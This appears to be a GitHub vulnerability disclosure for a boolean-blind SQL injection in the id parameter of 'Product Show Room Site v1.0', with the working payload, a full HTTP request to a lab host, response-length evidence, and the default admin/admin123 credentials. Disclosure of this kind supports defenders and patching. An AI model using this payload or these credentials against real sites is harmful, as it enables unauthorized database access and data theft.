

main

...

bug_report / vendors / oretnom23 / product-show-room-site / SQLi-1.md



guydream Create SQLi-1.md

History

1 contributor

36 lines (24 sloc) | 1.46 KB

...

Product Show Room Site v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html>

Vulnerability File: /psrs/?p=products/view_product&id=

Vulnerability location: /psrs/?p=products/view_product&id=, id

Current database name: psrs_db ,length is 7

[+] Payload: GET /psrs/?

p=products/view_product&id=1%27%20and%20length(database())%20=7--+ // Leak place
---> id

```
GET /psrs/?p=products/view_product&id=1%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

DNT: 1

Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1

Connection: close

When length (database ()) = 6, Content-Length: 20014

The screenshot shows a web browser window with a URL bar containing the URL: `http://192.168.1.19/psrs/?p=products/view_product&id=1' and length(database())=6--+`. The browser's developer tools are open, showing the HTTP request and response. The request is a GET request to the URL. The response is an HTTP/1.1 200 OK response from Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7. The response headers include: `Date: Thu, 02 Jun 2022 06:14:35 GMT`, `Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7`, `X-Powered-By: PHP/8.0.7`, `Expires: Thu, 19 Nov 1981 08:52:00 GMT`, `Cache-Control: no-store, no-cache, must-revalidate`, `Pragma: no-cache`, `Access-Control-Allow-Origin: *`, `Connection: close`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 20014`. The response body is an HTML document with a title "Product Show Room Site" and a link to a logo. The browser's address bar shows the URL, and the browser's status bar shows "product ID is not valid." A dialog box with the text "product ID is not valid." and a "确定" button is displayed in the center of the browser window.

When length (database ()) = 7, Content-Length: 21494

The screenshot shows a web browser window with a URL bar containing the URL: `http://192.168.1.19/psrs/?p=products/view_product&id=1' and length(database())=7--+`. The browser's developer tools are open, showing the HTTP request and response. The request is a GET request to the URL. The response is an HTTP/1.1 200 OK response from Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7. The response headers include: `Date: Thu, 02 Jun 2022 06:13:35 GMT`, `Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7`, `X-Powered-By: PHP/8.0.7`, `Expires: Thu, 19 Nov 1981 08:52:00 GMT`, `Cache-Control: no-store, no-cache, must-revalidate`, `Pragma: no-cache`, `Access-Control-Allow-Origin: *`, `Connection: close`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 21494`. The response body is an HTML document with a title "Product Show Room Site" and a link to a logo. The browser's address bar shows the URL, and the browser's status bar shows "product ID is not valid." A dialog box with the text "product ID is not valid." and a "确定" button is displayed in the center of the browser window.

INT

SQL BASICS• UNION BASED• ERROR/DOUBLE QUERY• TOOLS• WAF BYPASS• ENCODING• HTML• ENCRYPTION• OTHER• XSS• LFI•

Load URL

Split URL

Execute

http://192.168.1.19/psrs/?p=products/view_product&id=1' and length(database()) =7--+

☐ Post data

☐ Referrer

☐ 0xHEX


☐ %URL

☐ BASE64

Insert string to replace

Insert replacing string

☒ Repl

 PSRS - PHP

Home

Products

About

Contact Us

PC Set #101

